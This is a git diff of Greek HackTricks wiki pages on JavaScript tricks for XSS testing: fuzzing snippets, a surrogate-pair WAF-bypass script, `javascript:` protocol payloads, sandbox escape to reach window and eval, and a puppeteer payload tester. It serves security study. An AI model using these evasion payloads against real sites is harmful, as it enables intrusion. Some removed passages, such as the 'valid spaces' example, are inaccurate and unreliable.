* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Εγγραφείτε στη** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο** [**αποθετήριο hacktricks**](https://github.com/carlospolop/hacktricks) **και** [**αποθετήριο hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
Ελέγξτε:
@ -18,14 +21,17 @@
[integer-overflow.md](../../binary-exploitation/integer-overflow.md)
{% endcontent-ref %}
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε να κάνετε χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Ερυθρού Συνεργείου AWS του HackTricks)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Εγγραφείτε στη** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο** [**αποθετήριο hacktricks**](https://github.com/carlospolop/hacktricks) **και** [**αποθετήριο hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,20 +1,23 @@
# Διάφορα Κόλπα JS & Σχετικές Πληροφορίες
# Misc JS Tricks & Relevant Info
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Εγγραφείτε στην** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο** [**αποθετήριο hacktricks**](https://github.com/carlospolop/hacktricks) **και** [**αποθετήριο hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Αναζήτηση Σφαλμάτων στον Κώδικα Javascript
## Javascript Fuzzing
### Έγκυροι Χαρακτήρες Σχολίων JS
### Valid JS Comment Chars
```javascript
//This is a 1 line comment
/* This is a multiline comment*/
@ -65,16 +68,7 @@ log.push([i,j])
}
console.log(log)//[35,33],[47,47]
```
### Έγκυροι χαρακτήρες νέων γραμμών στην JS
Οι έγκυροι χαρακτήρες νέων γραμμών στην JavaScript (JS) είναι οι εξής:
- `\n`: Αυτός ο χαρακτήρας αντιπροσωπεύει μια νέα γραμμή.
- `\r`: Αυτός ο χαρακτήρας αντιπροσωπεύει έναν χαρακτήρα επιστροφής καρέτου.
- `\u2028`: Αυτός ο χαρακτήρας αντιπροσωπεύει έναν χαρακτήρα νέας γραμμής Unicode.
- `\u2029`: Αυτός ο χαρακτήρας αντιπροσωπεύει έναν χαρακτήρα παράγραφου Unicode.
Μπορείτε να χρησιμοποιήσετε αυτούς τους χαρακτήρες για να δημιουργήσετε νέες γραμμές ή να προσθέσετε κενά στον κώδικά σας στην JS.
### Έγκυροι χαρακτήρες νέας γραμμής JS
```javascript
//Javascript interpret as new line these chars:
String.fromCharCode(10) //0x0a
@ -96,34 +90,7 @@ console.log(`[${err}]`,j,cmd);
}
//From: https://balsn.tw/ctf_writeup/20191012-hitconctfquals/#bounty-pl33z
```
### Έγκυροι χώροι JS σε κλήση συνάρτησης
Ορισμένες φορές, κατά την εκτέλεση ενός XSS επιθέσεων, μπορεί να χρειαστεί να χρησιμοποιήσουμε χώρους για να αποφύγουμε την ανίχνευση του κώδικα. Ένας τρόπος για να το κάνουμε αυτό είναι να χρησιμοποιήσουμε έγκυρους χώρους σε μια κλήση συνάρτησης. Οι έγκυροι χώροι μπορούν να εισαχθούν μεταξύ των ονομάτων των παραμέτρων και των τιμών τους. Αυτό μπορεί να δημιουργήσει σύγχυση στον αναλυτή του κώδικα και να του επιτρέψει να παραβλέψει τον κακόβουλο κώδικα που εισάγεται.
Παράδειγμα:
```javascript
<script>
function myFunction(param1, param2) {
// Κανονικός κώδικας εδώ
}
myFunction('value1', 'value2');
</script>
```
Σε αυτό το παράδειγμα, μπορούμε να εισάγουμε έγκυρους χώρους μεταξύ των παραμέτρων και των τιμών τους, όπως παρακάτω:
```javascript
<script>
function myFunction(param1, param2) {
// Κακόβουλος κώδικας εδώ
}
myFunction('value1', 'value2');
</script>
```
Αυτό μπορεί να καταστήσει δυσκολότερη την ανίχνευση του κακόβουλου κώδικα από τους αναλυτές του κώδικα.
### Έγκυροι χώροι JS στην κλήση συνάρτησης
```javascript
// Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (pp. 40-41). Kindle Edition.
@ -140,22 +107,7 @@ log.push(i)
console.log(log)v//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,813 232,8233,8239,8287,12288,65279
```
### **Έγκυροι χαρακτήρες για τη δημιουργία συμβολοσειρών**
The following characters can be used to generate strings:
Οι παρακάτω χαρακτήρες μπορούν να χρησιμοποιηθούν για τη δημιουργία συμβολοσειρών:
```
abcdefghijklmnopqrstuvwxyz
ABCDEFGHIJKLMNOPQRSTUVWXYZ
0123456789
!@#$%^&*()_+-=[]{}|;':",./<>?
```
These characters are considered valid and can be used in various scenarios during hacking activities.
Αυτοί οι χαρακτήρες θεωρούνται έγκυροι και μπορούν να χρησιμοποιηθούν σε διάφορα σενάρια κατά τη διάρκεια δραστηριοτήτων χάκερ.
### **Έγκυροι χαρακτήρες για Δημιουργία Συμβολοσειρών**
```javascript
// Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (pp. 41-42). Kindle Edition.
@ -172,7 +124,7 @@ console.log(log) //34,39,47,96
```
### **Surrogate Pairs BF**
Αυτή η τεχνική δεν θα είναι πολύ χρήσιμη για XSS, αλλά μπορεί να χρησιμοποιηθεί για να παρακάμψει προστασίες WAF. Αυτός ο κώδικας Python λαμβάνει ως είσοδο 2 bytes και αναζητά surrogate pairs που έχουν το πρώτο byte ως τα τελευταία bytes του High surrogate pair και το τελευταίο byte ως το τελευταίο byte του low surrogate pair.
Αυτή η τεχνική δεν θα είναι πολύ χρήσιμη για XSS αλλά θα μπορούσε να είναι χρήσιμη για να παρακάμψει τις προστασίες WAF. Αυτός ο κώδικας python δέχεται ως είσοδο 2 bytes και αναζητά ζεύγη υποκατάστασης που έχουν το πρώτο byte ως το τελευταίο byte του υψηλού ζεύγους υποκατάστασης και το τελευταίο byte ως το τελευταίο byte του χαμηλού ζεύγους υποκατάστασης.
```python
def unicode(findHex):
for i in range(0,0xFFFFF):
@ -183,12 +135,7 @@ l = chr(int(L[-2:],16))
if(h == findHex[0]) and (l == findHex[1]):
print(H.replace("0x","\\u")+L.replace("0x","\\u"))
```
Περισσότερες πληροφορίες:
* [https://github.com/dreadlocked/ctf-writeups/blob/master/nn8ed/README.md](https://github.com/dreadlocked/ctf-writeups/blob/master/nn8ed/README.md)
* [https://mathiasbynens.be/notes/javascript-unicode](https://mathiasbynens.be/notes/javascript-unicode) [https://mathiasbynens.be/notes/javascript-encoding](https://mathiasbynens.be/notes/javascript-encoding)
### Ασθενής πρωτόκολλο `javascript{}:`
### `javascript{}:` Πρωτόκολλο Fuzzing
```javascript
// Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 34). Kindle Edition.
log=[];
@ -212,12 +159,6 @@ document.body.append(anchor)
<a href="&#12;javascript:alert(1337)">Test</a>
```
### URL Fuzzing
URL Fuzzing είναι μια τεχνική που χρησιμοποιείται για να εντοπίσει ευπάθειες σε μια εφαρμογή ιστού. Σε αυτήν την τεχνική, ο χάκερ δοκιμάζει διάφορες παραλλαγές των URLs για να ελέγξει αν υπάρχουν ευπάθειες ασφαλείας. Αυτό μπορεί να γίνει με την προσθήκη ειδικών χαρακτήρων, παραμέτρων ή διαδρομών στο URL.
Ο χάκερ μπορεί να χρησιμοποιήσει εργαλεία αυτοματοποίησης για να δοκιμάσει χιλιάδες διαφορετικές παραλλαγές των URLs σε σύντομο χρονικό διάστημα. Αυτό του επιτρέπει να εντοπίσει ευπάθειες όπως Cross-Site Scripting (XSS), SQL Injection και πολλές άλλες.
Η URL Fuzzing είναι μια ισχυρή τεχνική που μπορεί να αποκαλύψει ευπάθειες σε μια εφαρμογή ιστού και να βοηθήσει τον χάκερ να εκμεταλλευτεί αυτές τις ευπάθειες για κακόβουλους σκοπούς.
```javascript
// Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (pp. 36-37). Kindle Edition.
@ -243,13 +184,7 @@ log.push(i);
}
console.log(log) //9,10,13,47,92
```
### Ανίχνευση HTML Fuzzing
Το HTML Fuzzing είναι μια τεχνική που χρησιμοποιείται για να εντοπίσει ευπάθειες στον κώδικα HTML μιας ιστοσελίδας. Κατά τη διάρκεια του HTML Fuzzing, εισάγονται διάφορες μορφές εισόδου στα πεδία εισαγωγής της ιστοσελίδας, με σκοπό να ελεγχθεί η αντίδραση της εφαρμογής σε αυτές τις εισόδους.
Ο στόχος του HTML Fuzzing είναι να ανακαλυφθούν ευπάθειες όπως Cross-Site Scripting (XSS) επιθέσεις, ανεπαρκής επικύρωση εισόδου και άλλες ασφαλείας σχετικές ευπάθειες. Με τη χρήση διαφορετικών μορφών εισόδου, όπως ειδικοί χαρακτήρες, μεγάλα μεγέθη δεδομένων και ανεπιθύμητα σύμβολα, μπορούν να ανακαλυφθούν ευπάθειες που δεν θα είχαν ανακαλυφθεί με την κανονική χρήση της εφαρμογής.
Η διαδικασία του HTML Fuzzing μπορεί να γίνει χειροκίνητα ή αυτοματοποιημένα, χρησιμοποιώντας εργαλεία όπως το Burp Suite ή το OWASP ZAP. Με την ανίχνευση ευπαθειών μέσω του HTML Fuzzing, οι επιτιθέμενοι μπορούν να εκμεταλλευτούν τις ευπάθειες αυτές για να προκαλέσουν ζημιά στην εφαρμογή ή να αποκτήσουν πρόσβαση σε ευαίσθητες πληροφορίες.
### HTML Fuzzing
```javascript
// Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 38). Kindle Edition.
@ -265,29 +200,29 @@ log.push(i);
}
console.log(log)//33,45,62
```
## **Ανάλυση των χαρακτηριστικών**
## **Ανάλυση χαρακτηριστικών**
Το εργαλείο **Hackability inspector** από την Portswigger βοηθά στην **ανάλυση** των **χαρακτηριστικών** ενός αντικειμένου JavaScript. Ελέγξτε: [https://portswigger-labs.net/hackability/inspector/?input=x.contentWindow\&html=%3Ciframe%20src=//subdomain1.portswigger-labs.net%20id=x%3E](https://portswigger-labs.net/hackability/inspector/?input=x.contentWindow\&html=%3Ciframe%20src=//subdomain1.portswigger-labs.net%20id=x%3E)
Το εργαλείο **Hackability inspector** από την Portswigger βοηθά να **αναλύσετε** τα **χαρακτηριστικά** ενός αντικειμένου javascript. Ελέγξτε: [https://portswigger-labs.net/hackability/inspector/?input=x.contentWindow\&html=%3Ciframe%20src=//subdomain1.portswigger-labs.net%20id=x%3E](https://portswigger-labs.net/hackability/inspector/?input=x.contentWindow\&html=%3Ciframe%20src=//subdomain1.portswigger-labs.net%20id=x%3E)
## **.map αρχεία js**
## **.map js αρχεία**
* Κόλπο για να κατεβάσετε αρχεία .map js: [https://medium.com/@bitthebyte/javascript-for-bug-bounty-hunters-part-2-f82164917e7](https://medium.com/@bitthebyte/javascript-for-bug-bounty-hunters-part-2-f82164917e7)
* Τέχνασμα για να κατεβάσετε .map js αρχεία: [https://medium.com/@bitthebyte/javascript-for-bug-bounty-hunters-part-2-f82164917e7](https://medium.com/@bitthebyte/javascript-for-bug-bounty-hunters-part-2-f82164917e7)
* Μπορείτε να χρησιμοποιήσετε αυτό το εργαλείο για να αναλύσετε αυτά τα αρχεία [https://github.com/paazmaya/shuji](https://github.com/paazmaya/shuji)
## "--" Ανάθεση
Ο τελεστής μείωσης `--` είναι επίσης μια ανάθεση. Αυτός ο τελεστής παίρνει μια τιμή και μειώνει την κατά ένα. Εάν αυτή η τιμή δεν είναι ένας αριθμός, θα οριστεί σε `NaN`. Αυτό μπορεί να χρησιμοποιηθεί για να **αφαιρέσετε το περιεχόμενο των μεταβλητών από το περιβάλλον**.
Ο τελεστής μείωσης `--` είναι επίσης μια ανάθεση. Αυτός ο τελεστής παίρνει μια τιμή και στη συνέχεια την μειώνει κατά ένα. Αν αυτή η τιμή δεν είναι αριθμός, θα οριστεί σε `NaN`. Αυτό μπορεί να χρησιμοποιηθεί για να **αφαιρέσετε το περιεχόμενο των μεταβλητών από το περιβάλλον**.
![](<../../.gitbook/assets/image (553).png>)
![](<../../.gitbook/assets/image (993).png>)
![](<../../.gitbook/assets/image (554).png>)
![](<../../.gitbook/assets/image (329).png>)
## Κόλπα Συναρτήσεων
## Τέχνασμα Συναρτήσεων
### .call και .apply
Η μέθοδος **`.call`** μιας συνάρτησης χρησιμοποιείται για να **εκτελέσει τη συνάρτηση**.\
Το **πρώτο όρισμα** που αναμένει από προεπιλογή είναι η **τιμή του `this`** και εάν δεν δοθεί τίποτα, η τιμή αυτή θα είναι **`window`** (εκτός αν χρησιμοποιείται **`strict mode`**).
Η μέθοδος **`.call`** μιας συνάρτησης χρησιμοποιείται για να **τρέξει τη συνάρτηση**.\
Το **πρώτο επιχείρημα** που αναμένει από προεπιλογή είναι η **τιμή του `this`** και αν **τίποτα** δεν παρέχεται, **`window`** θα είναι αυτή η τιμή (εκτός αν χρησιμοποιείται **`strict mode`**).
```javascript
function test_call(){
console.log(this.value); //baz
@ -318,9 +253,9 @@ console.log(this); //[object Window]
}
test_apply.apply(null, ["arg1", "arg2"])
```
### Συναρτήσεις βέλους
### Arrow functions
Οι συναρτήσεις βέλους σας επιτρέπουν να δημιουργήσετε συναρτήσεις σε μία γραμμή πιο εύκολα (αν τις κατανοείτε)
Οι βέλτιστες συναρτήσεις σας επιτρέπουν να δημιουργείτε συναρτήσεις σε μία μόνο γραμμή πιο εύκολα (αν τις κατανοείτε)
```javascript
// Traditional
function (a){ return a + 1; }
@ -343,7 +278,7 @@ let a = 4;
let b = 2;
() => a + b + 1;
```
Έτσι, οι περισσότερες από τις προηγούμενες συναρτήσεις είναι πραγματικά άχρηστες επειδή δεν τις αποθηκεύουμε πουθενά για να τις καλέσουμε. Παράδειγμα δημιουργίας της συνάρτησης `plusone`:
Έτσι, οι περισσότερες από τις προηγούμενες συναρτήσεις είναι στην πραγματικότητα άχρηστες γιατί δεν τις αποθηκεύουμε πουθενά για να τις αποθηκεύσουμε και να τις καλέσουμε. Παράδειγμα δημιουργίας της `plusone` συνάρτησης:
```javascript
// Traductional
function plusone (a){ return a + 1; }
@ -351,9 +286,9 @@ function plusone (a){ return a + 1; }
//Arrow
plusone = a => a + 100;
```
### Συνάρτηση bind
### Bind function
Η συνάρτηση bind επιτρέπει τη δημιουργία ενός **αντιγράφου** μιας **συνάρτησης** με τροποποιημένο το **`this`** αντικείμενο και τις **παραμέτρους** που δίνονται.
Η συνάρτηση bind επιτρέπει τη δημιουργία ενός **αντιγράφου** μιας **συνάρτησης τροποποιώντας** το **`this`** αντικείμενο και τις **παραμέτρους** που δίνονται.
```javascript
//This will use the this object and print "Hello World"
var fn = function ( param1, param2 ) {
@ -378,12 +313,12 @@ var bindFn_this = fn.bind(this, "fixingparam1");
bindFn_change('Hello', 'World')
```
{% hint style="info" %}
Σημείωση ότι χρησιμοποιώντας το **`bind`** μπορείτε να παραμορφώσετε το αντικείμενο **`this`** που θα χρησιμοποιηθεί κατά την κλήση της συνάρτησης.
Σημειώστε ότι χρησιμοποιώντας **`bind`** μπορείτε να χειριστείτε το αντικείμενο **`this`** που θα χρησιμοποιηθεί κατά την κλήση της συνάρτησης.
{% endhint %}
### Διαρροή κώδικα συνάρτησης
Εάν μπορείτε να **έχετε πρόσβαση στο αντικείμενο** μιας συνάρτησης, μπορείτε να **πάρετε τον κώδικα** αυτής της συνάρτησης.
Αν μπορείτε να **πρόσβαση στο αντικείμενο** μιας συνάρτησης μπορείτε να **πάρετε τον κώδικα** αυτής της συνάρτησης.
```javascript
function afunc(){
return 1+1;
@ -393,7 +328,7 @@ console.log(String(afunc)); //This will print the code of the function
console.log(this.afunc.toString()); //This will print the code of the function
console.log(global.afunc.toString()); //This will print the code of the function
```
Σε περιπτώσεις όπου η **συνάρτηση δεν έχει κανένα όνομα**, μπορείτε ακόμα να εκτυπώσετε τον **κώδικα της συνάρτησης** από μέσα:
Σε περιπτώσεις όπου η **συνάρτηση δεν έχει όνομα**, μπορείτε ακόμα να εκτυπώσετε τον **κώδικα της συνάρτησης** από μέσα:
```javascript
(function (){ return arguments.callee.toString(); })()
(function (){ return arguments[0]; })("arg0")
@ -406,9 +341,9 @@ console.log(global.afunc.toString()); //This will print the code of the function
(u=>(String(u)))(_=>{ /* Hidden commment */ })
(u=>_=>(String(u)))(_=>{ /* Hidden commment */ })()
```
## Απόδραση από το Sandbox - Ανάκτηση του αντικειμένου παραθύρου
## Sandbox Escape - Ανάκτηση του αντικειμένου παραθύρου
Το αντικείμενο παραθύρου επιτρέπει την πρόσβαση σε παγκοσμίως καθορισμένες συναρτήσεις όπως η alert ή η eval.
Το αντικείμενο Window επιτρέπει την πρόσβαση σε παγκοσμίως καθορισμένες συναρτήσεις όπως alert ή eval.
{% code overflow="wrap" %}
```javascript
@ -452,7 +387,7 @@ with(element) {
```
{% endcode %}
## Διακοπή στην πρόσβαση στην τιμή
## Σημείο διακοπής κατά την πρόσβαση στην τιμή
```javascript
// Stop when a property in sessionStorage or localStorage is set/get
// via getItem or setItem functions
@ -493,15 +428,7 @@ origValue = val;
debugAccess(Object.prototype, 'ppmap')
```
## Αυτόματη πρόσβαση στον περιηγητή για να ελέγξετε τα δεδομένα εισροής
Μπορείτε να χρησιμοποιήσετε τον περιηγητή για να ελέγξετε αυτόματα τα δεδομένα εισροής που εισάγονται σε μια ιστοσελίδα. Αυτό μπορεί να γίνει με τη χρήση JavaScript και την εκτέλεση κώδικα αυτόματα στον περιηγητή.
Για να το κάνετε αυτό, μπορείτε να χρησιμοποιήσετε τη μέθοδο `eval()` της JavaScript για να εκτελέσετε κώδικα από μια συγκεκριμένη είσοδο. Για παράδειγμα, μπορείτε να δημιουργήσετε ένα αόρατο iframe στη σελίδα και να χρησιμοποιήσετε τη μέθοδο `eval()` για να εκτελέσετε κώδικα JavaScript μέσα σε αυτό το iframe.
Με αυτόν τον τρόπο, μπορείτε να εκτελέσετε οποιονδήποτε κώδικα JavaScript θέλετε στον περιηγητή, ελέγχοντας έτσι την αντίδραση της ιστοσελίδας σε διάφορες εισόδους.
Πρέπει να λάβετε υπόψη ότι η χρήση της μεθόδου `eval()` μπορεί να είναι επικίνδυνη, καθώς μπορεί να εκτελέσει οποιονδήποτε κώδικα παρέχετε, συμπεριλαμβανομένου κακόβουλου κώδικα. Πρέπει να είστε προσεκτικοί και να χρησιμοποιείτε αυτήν τη μέθοδο με προσοχή.
## Αυτόματη Πρόσβαση Περιηγητή για δοκιμή φορτίων
```javascript
//Taken from https://github.com/svennergr/writeups/blob/master/inti/0621/README.md
const puppeteer = require("puppeteer");
@ -541,14 +468,17 @@ await sleep(1000);
await browser.close();
})();
```
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε τη **εταιρεία σας να διαφημίζεται στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στη **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Συμμετάσχετε** στην [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο** [**αποθετήριο hacktricks**](https://github.com/carlospolop/hacktricks) **και** [**αποθετήριο hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στο** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) ή στο [**telegram group**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,74 +1,83 @@
# SOME - Same Origin Method Execution
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks**; ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε τη [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Εγγραφείτε** στη [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στο [**αποθετήριο hacktricks**](https://github.com/carlospolop/hacktricks) **και** [**αποθετήριο hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src="/.gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) είναι μια μηχανή αναζήτησης που τροφοδοτείται από το **dark web** και προσφέρει **δωρεάν** λειτουργίες για να ελέγξετε αν μια εταιρεία ή οι πελάτες της έχουν **διαρρεύσει** από **κλέφτες κακόβουλου λογισμικού**.
